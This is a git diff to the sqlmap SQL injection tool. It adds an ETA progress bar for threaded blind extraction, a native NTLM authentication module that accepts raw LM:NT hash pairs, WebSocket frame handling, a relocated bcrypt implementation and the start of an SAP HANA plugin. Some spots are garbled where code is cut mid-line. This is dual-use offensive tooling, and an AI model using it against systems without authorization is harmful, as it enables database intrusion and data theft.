def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False):
"""
Value-parallel blind retrieval.
@@ -446,6 +469,13 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non
results = [None] * len(indices)
cursor = iter(xrange(len(indices)))
+ # With '--eta' show a single value-level bar (values completed / total) instead of the per-value
+ # stream: it is monotonic and carries a meaningful ETA across the whole set, and - unlike the
+ # per-char bar drawn inside bisection() - it survives the worker's disableStdOut (drawn forced,
+ # below), so '--eta' is honoured under '--threads' too. Skipped for trivial single-value sets.
+ etaProgress = ProgressBar(maxValue=len(indices)) if (conf.eta and len(indices) > 1) else None
+ completed = [0]
+
def inferenceThread():
threadData = getCurrentThreadData()
# Each per-value bisection streams its characters to stdout and mirrors them into
@@ -489,13 +519,36 @@ def inferenceThread():
with kb.locks.value:
results[slot] = value
+ if etaProgress is not None:
+ with kb.locks.io:
+ completed[0] += 1
+ threadData.disableStdOut = False # let the value-level bar through (per-char streaming stays muted)
+ try:
+ etaProgress.progress(completed[0])
+ finally:
+ threadData.disableStdOut = True
+
# Stream each retrieved value as it completes (they arrive out of order under threads, exactly
# like the error/union dumps), so a dump shows its data live rather than a silent counter.
- if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value):
+ elif conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value):
with kb.locks.io:
rendered = safecharencode(unArrayizeValue(value))
dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True)
+ # Keep the '--eta' countdown live between value updates: a value (esp. time-based) can take many
+ # seconds, so a daemon redraws the bar every second with the ETA decremented by elapsed time (it runs
+ # on its own thread, so it is not muted by the workers' disableStdOut, and shares kb.locks.io with them).
+ etaTickerStop = threading.Event()
+ etaTicker = None
+ if etaProgress is not None and IS_TTY:
+ def _etaTicker():
+ while not etaTickerStop.wait(1.0):
+ with kb.locks.io:
+ etaProgress.tick()
+ etaTicker = threading.Thread(target=_etaTicker, name="eta-ticker")
+ setDaemon(etaTicker)
+ etaTicker.start()
+
# Save/restore the calling thread's state: with a single thread runThreads runs the worker
# INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out.
savedPartRun = kb.partRun
@@ -505,6 +558,9 @@ def inferenceThread():
try:
runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread)
finally:
+ etaTickerStop.set()
+ if etaTicker is not None:
+ etaTicker.join(timeout=2)
kb.partRun = savedPartRun
mainThreadData.disableStdOut = savedStdOut
mainThreadData.shared = savedShared
diff --git a/lib/request/ntlm.py b/lib/request/ntlm.py
new file mode 100644
index 00000000000..1b88812943c
--- /dev/null
+++ b/lib/request/ntlm.py
@@ -0,0 +1,269 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Native, dependency-free NTLM-over-HTTP authentication (MS-NLMP / MS-NTHT), replacing the ancient
+# and unmaintained 'python-ntlm' third-party library. Pure standard library + the in-tree pyDes for
+# the DES core (hashlib's MD4 is unavailable under OpenSSL 3's unloaded legacy provider, so MD4 is
+# implemented here per RFC 1320). Python 2.7 / 3.x. Crypto validated against the [MS-NLMP] test vectors.
+
+import base64
+import binascii
+import os
+import re
+import socket
+import ssl
+import struct
+
+from lib.core.convert import getBytes
+from lib.core.convert import getText
+from thirdparty.pydes.pyDes import des
+from thirdparty.pydes.pyDes import ECB
+from thirdparty.six.moves import http_client as _http_client
+from thirdparty.six.moves import urllib as _urllib
+
+# ---------- MD4 (RFC 1320) ----------
+def _md4(data):
+ data = bytearray(data)
+ n = len(data)
+ data.append(0x80)
+ while len(data) % 64 != 56:
+ data.append(0)
+ data += struct.pack("> (32 - s))) & M
+
+ for off in range(0, len(data), 64):
+ X = struct.unpack("<16I", bytes(data[off:off + 64]))
+ A, B, C, D = a, b, c, d
+ F = lambda x, y, z: (x & y) | (~x & z)
+ G = lambda x, y, z: (x & y) | (x & z) | (y & z)
+ H = lambda x, y, z: x ^ y ^ z
+
+ for k in (0, 4, 8, 12):
+ A = rot((A + F(B, C, D) + X[k]) & M, 3)
+ D = rot((D + F(A, B, C) + X[k + 1]) & M, 7)
+ C = rot((C + F(D, A, B) + X[k + 2]) & M, 11)
+ B = rot((B + F(C, D, A) + X[k + 3]) & M, 19)
+ for k in (0, 1, 2, 3):
+ A = rot((A + G(B, C, D) + X[k] + 0x5a827999) & M, 3)
+ D = rot((D + G(A, B, C) + X[k + 4] + 0x5a827999) & M, 5)
+ C = rot((C + G(D, A, B) + X[k + 8] + 0x5a827999) & M, 9)
+ B = rot((B + G(C, D, A) + X[k + 12] + 0x5a827999) & M, 13)
+ for k in (0, 2, 1, 3):
+ A = rot((A + H(B, C, D) + X[k] + 0x6ed9eba1) & M, 3)
+ D = rot((D + H(A, B, C) + X[k + 8] + 0x6ed9eba1) & M, 9)
+ C = rot((C + H(D, A, B) + X[k + 4] + 0x6ed9eba1) & M, 11)
+ B = rot((B + H(C, D, A) + X[k + 12] + 0x6ed9eba1) & M, 15)
+
+ a, b, c, d = (a + A) & M, (b + B) & M, (c + C) & M, (d + D) & M
+
+ return struct.pack("<4I", a, b, c, d)
+
+# ---------- DES core (in-tree pyDes) with the NTLM 7->8 byte parity key expansion ----------
+def _str_to_key(chunk):
+ s = bytearray(chunk)
+ k = [s[0] >> 1,
+ ((s[0] & 0x01) << 6) | (s[1] >> 2),
+ ((s[1] & 0x03) << 5) | (s[2] >> 3),
+ ((s[2] & 0x07) << 4) | (s[3] >> 4),
+ ((s[3] & 0x0f) << 3) | (s[4] >> 5),
+ ((s[4] & 0x1f) << 2) | (s[5] >> 6),
+ ((s[5] & 0x3f) << 1) | (s[6] >> 7),
+ s[6] & 0x7f]
+ return bytes(bytearray((_ << 1) & 0xff for _ in k))
+
+def _des(key7, block8):
+ return des(_str_to_key(key7), ECB).encrypt(block8)
+
+# ---------- negotiate flags ----------
+NTLM_NegotiateUnicode = 0x00000001
+NTLM_NegotiateOEM = 0x00000002
+NTLM_RequestTarget = 0x00000004
+NTLM_NegotiateNTLM = 0x00000200
+NTLM_NegotiateOemDomainSupplied = 0x00001000
+NTLM_NegotiateOemWorkstationSupplied = 0x00002000
+NTLM_NegotiateAlwaysSign = 0x00008000
+NTLM_NegotiateExtendedSecurity = 0x00080000
+NTLM_NegotiateTargetInfo = 0x00800000
+NTLM_NegotiateVersion = 0x02000000
+NTLM_Negotiate128 = 0x20000000
+NTLM_Negotiate56 = 0x80000000
+NTLM_MsvAvTimestamp = 7
+
+NTLM_TYPE1_FLAGS = (NTLM_NegotiateUnicode | NTLM_NegotiateOEM | NTLM_RequestTarget | NTLM_NegotiateNTLM |
+ NTLM_NegotiateOemDomainSupplied | NTLM_NegotiateOemWorkstationSupplied |
+ NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateVersion |
+ NTLM_Negotiate128 | NTLM_Negotiate56)
+NTLM_TYPE2_FLAGS = (NTLM_NegotiateUnicode | NTLM_RequestTarget | NTLM_NegotiateNTLM |
+ NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateTargetInfo |
+ NTLM_NegotiateVersion | NTLM_Negotiate128 | NTLM_Negotiate56)
+
+_HASH_RE = re.compile(r"\A[0-9a-fA-F]{32}:[0-9a-fA-F]{32}\Z")
+
+# ---------- password hashes / challenge responses ----------
+def create_LM_hashed_password_v1(password):
+ if _HASH_RE.match(password):
+ return binascii.unhexlify(password.split(':')[0])
+ pw = (getBytes(password.upper()) + b"\0" * 14)[:14]
+ return _des(pw[0:7], b"KGS!@#$%") + _des(pw[7:14], b"KGS!@#$%")
+
+def create_NT_hashed_password_v1(password, user=None, domain=None):
+ if _HASH_RE.match(password):
+ return binascii.unhexlify(password.split(':')[1])
+ return _md4(password.encode("utf-16-le"))
+
+def calc_resp(password_hash, server_challenge):
+ ph = password_hash + b"\0" * (21 - len(password_hash))
+ return _des(ph[0:7], server_challenge) + _des(ph[7:14], server_challenge) + _des(ph[14:21], server_challenge)
+
+def ntlm2sr_calc_resp(nt_hash, server_challenge, client_challenge):
+ import hashlib
+ lm_response = client_challenge + b"\0" * 16
+ session = hashlib.md5(server_challenge + client_challenge).digest()
+ nt_response = calc_resp(nt_hash, session[0:8])
+ return (nt_response, lm_response)
+
+# ---------- messages ----------
+def create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags=NTLM_TYPE1_FLAGS):
+ workstation = getBytes(socket.gethostname().upper())
+ domain = getBytes(user.split('\\', 1)[0].upper())
+ body = 40
+ msg = b"NTLMSSP\0" + struct.pack("> 7) & 1
+ opcode = header[0] & 0x0F
+ masked = (header[1] >> 7) & 1
+ length = header[1] & 0x7F
+
+ if length == 126:
+ length = struct.unpack("!H", self._readStrict(2))[0]
+ elif length == 127:
+ length = struct.unpack("!Q", self._readStrict(8))[0]
+
+ mask = bytearray(self._readStrict(4)) if masked else None
+ payload = bytearray(self._readStrict(length))
+ if mask is not None: # servers must not mask, but unmask defensively
+ for i in range(length):
+ payload[i] ^= mask[i % 4]
+
+ return fin, opcode, payload
+
+ def _readStrict(self, count):
+ while len(self._buffer) < count:
+ chunk = self._recvSome()
+ if not chunk:
+ raise WebSocketConnectionClosedException("WebSocket connection closed")
+ self._buffer += chunk
+
+ result, self._buffer = self._buffer[:count], self._buffer[count:]
+ return result
+
+ def _recvSome(self):
+ try:
+ return self.sock.recv(8192)
+ except socket.timeout:
+ raise WebSocketTimeoutException("timed out while receiving data")
+ except ssl.SSLError as ex:
+ # Python 2 raises ssl.SSLError('The read operation timed out') instead of socket.timeout on a
+ # TLS read timeout - which is exactly sqlmap's normal "read frames until timeout" path over wss
+ if "timed out" in str(ex).lower():
+ raise WebSocketTimeoutException("timed out while receiving data")
+ raise
+
+ def close(self):
+ if self.sock is not None:
+ try:
+ if not self._closed:
+ self._sendFrame(struct.pack("!H", 1000), OPCODE_CLOSE) # normal closure
+ except (socket.error, WebSocketException):
+ pass
+ try:
+ self.sock.close()
+ except socket.error:
+ pass
+ self.sock = None
diff --git a/lib/utils/bcrypt.py b/lib/utils/bcrypt.py
new file mode 100644
index 00000000000..d8211574087
--- /dev/null
+++ b/lib/utils/bcrypt.py
@@ -0,0 +1,146 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import struct
+
+from lib.core.compat import xrange
+from lib.core.convert import getBytes
+
+# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi
+BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+
+_bcryptState = None
+
+def _bcryptInitState():
+ global _bcryptState
+
+ if _bcryptState is None:
+ count = 18 + 4 * 256
+ ndigits = count * 8
+ prec = ndigits + 16
+ one = 1 << (4 * prec)
+
+ def _arctan(inv):
+ total = term = one // inv
+ square = inv * inv
+ i = 1
+ while term:
+ term //= square
+ total += (term // (2 * i + 1)) * (-1 if i % 2 else 1)
+ i += 1
+ return total
+
+ frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits))
+ hexstr = "%0*x" % (ndigits, frac)
+ words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)]
+ _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)])
+
+ return _bcryptState
+
+def _bcryptEncipher(P, S, L, R):
+ for i in xrange(16):
+ L ^= P[i]
+ R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff
+ L, R = R, L
+ L, R = R, L
+ return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff
+
+def _bcryptStream(data, offset):
+ word = 0
+ for _ in xrange(4):
+ word = ((word << 8) | data[offset[0]]) & 0xffffffff
+ offset[0] = (offset[0] + 1) % len(data)
+ return word
+
+def _bcryptExpand(P, S, data, key):
+ koffset = [0]
+ for i in xrange(18):
+ P[i] ^= _bcryptStream(key, koffset)
+
+ doffset = [0]
+ L = R = 0
+ for i in xrange(0, 18, 2):
+ if data:
+ L ^= _bcryptStream(data, doffset)
+ R ^= _bcryptStream(data, doffset)
+ L, R = _bcryptEncipher(P, S, L, R)
+ P[i], P[i + 1] = L, R
+
+ for b in xrange(4):
+ for k in xrange(0, 256, 2):
+ if data:
+ L ^= _bcryptStream(data, doffset)
+ R ^= _bcryptStream(data, doffset)
+ L, R = _bcryptEncipher(P, S, L, R)
+ S[b][k], S[b][k + 1] = L, R
+
+def _bcryptBase64(data):
+ retVal = ""
+ i = 0
+ while i < len(data):
+ c = data[i]; i += 1
+ retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f]
+ c = (c & 3) << 4
+ if i >= len(data):
+ retVal += BCRYPT_ITOA64[c & 0x3f]; break
+ d = data[i]; i += 1
+ retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f]
+ c = (d & 0x0f) << 2
+ if i >= len(data):
+ retVal += BCRYPT_ITOA64[c & 0x3f]; break
+ e = data[i]; i += 1
+ retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f]
+ retVal += BCRYPT_ITOA64[e & 0x3f]
+ return retVal
+
+def _bcryptUnbase64(value, length):
+ retVal = bytearray()
+ positions = [BCRYPT_ITOA64.index(_) for _ in value]
+ i = 0
+ while i < len(positions) and len(retVal) < length:
+ c1 = positions[i]
+ c2 = positions[i + 1] if i + 1 < len(positions) else 0
+ retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff)
+ if len(retVal) >= length:
+ break
+ c3 = positions[i + 2] if i + 2 < len(positions) else 0
+ retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff)
+ if len(retVal) >= length:
+ break
+ c4 = positions[i + 3] if i + 3 < len(positions) else 0
+ retVal.append((((c3 & 3) << 6) | c4) & 0xff)
+ i += 4
+ return retVal[:length]
+
+def bcryptHash(password, salt, cost):
+ """
+ Provos-Mazieres EksBlowfish digest, base64-encoded (the openwall bcrypt hash tail)
+
+ >>> bcryptHash("U*U", "CCCCCCCCCCCCCCCCCCCCC.", 5)
+ 'E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW'
+ """
+
+ P0, S0 = _bcryptInitState()
+ P, S = list(P0), [list(_) for _ in S0]
+
+ key = bytearray(getBytes(password) + b"\0")
+ saltbytes = _bcryptUnbase64(salt, 16)
+
+ _bcryptExpand(P, S, saltbytes, key)
+ for _ in xrange(1 << cost):
+ _bcryptExpand(P, S, b"", key)
+ _bcryptExpand(P, S, b"", saltbytes)
+
+ ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt"))
+ for _ in xrange(64):
+ for j in xrange(0, 6, 2):
+ ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1])
+
+ digest = bytearray(struct.pack(">6I", *ctext))[:23]
+
+ return _bcryptBase64(digest)
+
diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py
index 3741d2ace14..ff8d7bdd653 100644
--- a/lib/utils/crawler.py
+++ b/lib/utils/crawler.py
@@ -168,6 +168,8 @@ def crawlThread():
finally:
if found:
if items:
+ # keep sitemap-derived URLs on-scope, exactly like the HTML-crawl path above
+ items = OrderedSet(_ for _ in items if (re.search(conf.scope, _, re.I) if conf.scope else checkSameHost(_, target)))
for item in items:
if re.search(r"(.*?)\?(.+)", item):
threadData.shared.value.add(item)
diff --git a/lib/utils/deps.py b/lib/utils/deps.py
index ce61a7344c6..99fcc31e857 100644
--- a/lib/utils/deps.py
+++ b/lib/utils/deps.py
@@ -83,28 +83,6 @@ def checkDependencies():
logger.warning(warnMsg)
missing_libraries.add('python-impacket')
- try:
- __import__("ntlm")
- debugMsg = "'python-ntlm' third-party library is found"
- logger.debug(debugMsg)
- except ImportError:
- warnMsg = "sqlmap requires 'python-ntlm' third-party library "
- warnMsg += "if you plan to attack a web application behind NTLM "
- warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'"
- logger.warning(warnMsg)
- missing_libraries.add('python-ntlm')
-
- try:
- __import__("websocket._abnf")
- debugMsg = "'websocket-client' library is found"
- logger.debug(debugMsg)
- except ImportError:
- warnMsg = "sqlmap requires 'websocket-client' third-party library "
- warnMsg += "if you plan to attack a web application using WebSocket. "
- warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'"
- logger.warning(warnMsg)
- missing_libraries.add('websocket-client')
-
try:
__import__("tkinter")
debugMsg = "'tkinter' library is found"
diff --git a/lib/utils/hash.py b/lib/utils/hash.py
index cca7d4fc3e3..4531e0eca8e 100644
--- a/lib/utils/hash.py
+++ b/lib/utils/hash.py
@@ -94,6 +94,7 @@
from lib.core.settings import ROTATING_CHARS
from lib.core.settings import UNICODE_ENCODING
from lib.core.wordlist import Wordlist
+from lib.utils.bcrypt import bcryptHash
from thirdparty import six
from thirdparty.colorama.initialise import init as coloramainit
from thirdparty.six.moves import queue as _queue
@@ -552,112 +553,6 @@ def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'cac
return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper())
-# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi
-BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
-
-_bcryptState = None
-
-def _bcryptInitState():
- global _bcryptState
-
- if _bcryptState is None:
- count = 18 + 4 * 256
- ndigits = count * 8
- prec = ndigits + 16
- one = 1 << (4 * prec)
-
- def _arctan(inv):
- total = term = one // inv
- square = inv * inv
- i = 1
- while term:
- term //= square
- total += (term // (2 * i + 1)) * (-1 if i % 2 else 1)
- i += 1
- return total
-
- frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits))
- hexstr = "%0*x" % (ndigits, frac)
- words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)]
- _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)])
-
- return _bcryptState
-
-def _bcryptEncipher(P, S, L, R):
- for i in xrange(16):
- L ^= P[i]
- R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff
- L, R = R, L
- L, R = R, L
- return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff
-
-def _bcryptStream(data, offset):
- word = 0
- for _ in xrange(4):
- word = ((word << 8) | data[offset[0]]) & 0xffffffff
- offset[0] = (offset[0] + 1) % len(data)
- return word
-
-def _bcryptExpand(P, S, data, key):
- koffset = [0]
- for i in xrange(18):
- P[i] ^= _bcryptStream(key, koffset)
-
- doffset = [0]
- L = R = 0
- for i in xrange(0, 18, 2):
- if data:
- L ^= _bcryptStream(data, doffset)
- R ^= _bcryptStream(data, doffset)
- L, R = _bcryptEncipher(P, S, L, R)
- P[i], P[i + 1] = L, R
-
- for b in xrange(4):
- for k in xrange(0, 256, 2):
- if data:
- L ^= _bcryptStream(data, doffset)
- R ^= _bcryptStream(data, doffset)
- L, R = _bcryptEncipher(P, S, L, R)
- S[b][k], S[b][k + 1] = L, R
-
-def _bcryptBase64(data):
- retVal = ""
- i = 0
- while i < len(data):
- c = data[i]; i += 1
- retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f]
- c = (c & 3) << 4
- if i >= len(data):
- retVal += BCRYPT_ITOA64[c & 0x3f]; break
- d = data[i]; i += 1
- retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f]
- c = (d & 0x0f) << 2
- if i >= len(data):
- retVal += BCRYPT_ITOA64[c & 0x3f]; break
- e = data[i]; i += 1
- retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f]
- retVal += BCRYPT_ITOA64[e & 0x3f]
- return retVal
-
-def _bcryptUnbase64(value, length):
- retVal = bytearray()
- positions = [BCRYPT_ITOA64.index(_) for _ in value]
- i = 0
- while i < len(positions) and len(retVal) < length:
- c1 = positions[i]
- c2 = positions[i + 1] if i + 1 < len(positions) else 0
- retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff)
- if len(retVal) >= length:
- break
- c3 = positions[i + 2] if i + 2 < len(positions) else 0
- retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff)
- if len(retVal) >= length:
- break
- c4 = positions[i + 3] if i + 3 < len(positions) else 0
- retVal.append((((c3 & 3) << 6) | c4) & 0xff)
- i += 4
- return retVal[:length]
-
def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs):
"""
Reference(s):
@@ -667,25 +562,7 @@ def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs):
'$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW'
"""
- P0, S0 = _bcryptInitState()
- P, S = list(P0), [list(_) for _ in S0]
-
- key = bytearray(getBytes(password) + b"\0")
- saltbytes = _bcryptUnbase64(salt, 16)
-
- _bcryptExpand(P, S, saltbytes, key)
- for _ in xrange(1 << cost):
- _bcryptExpand(P, S, b"", key)
- _bcryptExpand(P, S, b"", saltbytes)
-
- ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt"))
- for _ in xrange(64):
- for j in xrange(0, 6, 2):
- ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1])
-
- digest = bytearray(struct.pack(">6I", *ctext))[:23]
-
- return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest))
+ return "%s%02d$%s%s" % (magic, cost, salt, bcryptHash(password, salt, cost))
def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))'
"""
diff --git a/lib/utils/progress.py b/lib/utils/progress.py
index 1bfb10656d9..97e58a9bb91 100644
--- a/lib/utils/progress.py
+++ b/lib/utils/progress.py
@@ -13,6 +13,8 @@
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
+from lib.core.settings import ETA_DISPLAY_SMOOTHING
+from lib.core.settings import IS_TTY
class ProgressBar(object):
"""
@@ -26,7 +28,9 @@ def __init__(self, minValue=0, maxValue=10, totalWidth=None):
self._span = max(self._max - self._min, 0.001)
self._width = totalWidth if totalWidth else conf.progressWidth
self._amount = 0
- self._start = None
+ self._start = time.time() # begin timing at construction, so the first completed item already yields an estimate
+ self._eta = None # last estimated seconds-remaining and when it was computed, so tick()
+ self._etaAt = None # can keep the countdown live between (possibly slow) item updates
self.update()
def _convertSeconds(self, value):
@@ -73,17 +77,39 @@ def update(self, newAmount=0):
def progress(self, newAmount):
"""
- This method saves item delta time and shows updated progress bar with calculated eta
+ Redraw the bar with an ETA from the average time per completed item so far, applied to the items
+ still remaining: (elapsed / done) * (max - newAmount). The remaining-item count is (max - newAmount)
+ - i.e. at 1/3 it estimates the 2 items left, at 2/3 the 1 left - not just the current item.
"""
- if self._start is None or newAmount > self._max:
- self._start = time.time()
- eta = None
+ now = time.time()
+ if newAmount > self._max: # counter rollover/reset -> restart timing
+ self._start = now
+ self._eta = None
+
+ done = newAmount - self._min
+ elapsed = now - self._start
+ target = (elapsed / done) * (self._max - newAmount) if (done > 0 and elapsed > 0) else None
+
+ if target is None:
+ self._eta = None
+ elif self._eta is None:
+ self._eta = target # first estimate: nothing to ease from
else:
- delta = time.time() - self._start
- eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta
+ current = max(0, self._eta - (now - self._etaAt)) # what is on screen now (already decremented by tick())
+ self._eta = ETA_DISPLAY_SMOOTHING * current + (1 - ETA_DISPLAY_SMOOTHING) * target # ease into the fresh estimate
+ self._etaAt = now
self.update(newAmount)
+ self.draw(self._eta)
+
+ def tick(self):
+ """
+ Redraw the current bar with its ETA decremented by real elapsed time, so the countdown stays
+ live between updates (e.g. during a long time-based wait) instead of freezing at the last estimate
+ """
+
+ eta = None if self._eta is None else max(0, self._eta - (time.time() - self._etaAt))
self.draw(eta)
def draw(self, eta=None):
@@ -91,6 +117,9 @@ def draw(self, eta=None):
This method draws the progress bar if it has changed
"""
+ if not IS_TTY: # a progress bar is a terminal animation; suppress it when piped/redirected (as done for other '\r' output)
+ return
+
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
if self._amount >= self._max:
dataToStdout("\r%s\r" % (" " * self._width))
diff --git a/plugins/dbms/hana/__init__.py b/plugins/dbms/hana/__init__.py
new file mode 100644
index 00000000000..81dbccf257c
--- /dev/null
+++ b/plugins/dbms/hana/__init__.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import DBMS
+from lib.core.settings import HANA_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from plugins.dbms.hana.enumeration import Enumeration
+from plugins.dbms.hana.filesystem import Filesystem
+from plugins.dbms.hana.fingerprint import Fingerprint
+from plugins.dbms.hana.syntax import Syntax
+from plugins.dbms.hana.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class HANAMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+ """
+ This class defines SAP HANA methods
+ """
+
+ def __init__(self):
+ self.excludeDbsList = HANA_SYSTEM_DBS
+
+ for cls in self.__class__.__bases__:
+ cls.__init__(self)
+
+ unescaper[DBMS.HANA] = Syntax.escape
diff --git a/plugins/dbms/hana/connector.py b/plugins/dbms/hana/connector.py
new file mode 100644
index 00000000000..b01385ce82a
--- /dev/null
+++ b/plugins/dbms/hana/connector.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+try:
+ from hdbcli import dbapi
+except ImportError:
+ pass
+
+from lib.core.common import getSafeExString
+from lib.core.data import logger
+from lib.core.exception import SqlmapConnectionException
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+ """
+ Homepage: https://pypi.org/project/hdbcli/
+ User guide: https://help.sap.com/docs/SAP_HANA_PLATFORM/f1b440ded6144a54ada97ff95dac7adf/4fe9978ebac44f35b9369ef5a4a6d73e.html
+ API: https://help.sap.com/docs/SAP_HANA_CLIENT/f1b440ded6144a54ada97ff95dac7adf/39eb663beaab4f7b94850834e6cb6280.html
+ Debian package: not available
+ License: SAP Developer License
+ """
+
+ def connect(self):
+ self.initConnection()
+
+ try:
+ self.connector = dbapi.connect(address=self.hostname, port=self.port, user=self.user, password=self.password, databaseName=self.db)
+ except Exception as ex:
+ raise SqlmapConnectionException(getSafeExString(ex))
+
+ self.initCursor()
+ self.printConnected()
+
+ def fetchall(self):
+ try:
+ return self.cursor.fetchall()
+ except dbapi.Error as ex:
+ logger.warning(getSafeExString(ex))
+ return None
+
+ def execute(self, query):
+ retVal = False
+
+ try:
+ self.cursor.execute(query)
+ retVal = True
+ except dbapi.Error as ex:
+ logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip())
+
+ self.connector.commit()
+
+ return retVal
+
+ def select(self, query):
+ retVal = None
+
+ if self.execute(query):
+ retVal = self.fetchall()
+
+ return retVal
diff --git a/plugins/dbms/hana/enumeration.py b/plugins/dbms/hana/enumeration.py
new file mode 100644
index 00000000000..24e6e5d3808
--- /dev/null
+++ b/plugins/dbms/hana/enumeration.py
@@ -0,0 +1,16 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.data import logger
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+
+class Enumeration(GenericEnumeration):
+ def getPasswordHashes(self):
+ warnMsg = "on SAP HANA it is not possible to enumerate the user password hashes"
+ logger.warning(warnMsg)
+
+ return {}
diff --git a/plugins/dbms/hana/filesystem.py b/plugins/dbms/hana/filesystem.py
new file mode 100644
index 00000000000..5992ee66aff
--- /dev/null
+++ b/plugins/dbms/hana/filesystem.py
@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+ def readFile(self, remoteFile):
+ errMsg = "on SAP HANA reading of files is not supported"
+ raise SqlmapUnsupportedFeatureException(errMsg)
+
+ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
+ errMsg = "on SAP HANA writing of files is not supported"
+ raise SqlmapUnsupportedFeatureException(errMsg)
diff --git a/plugins/dbms/hana/fingerprint.py b/plugins/dbms/hana/fingerprint.py
new file mode 100644
index 00000000000..bd292f3f8dd
--- /dev/null
+++ b/plugins/dbms/hana/fingerprint.py
@@ -0,0 +1,94 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
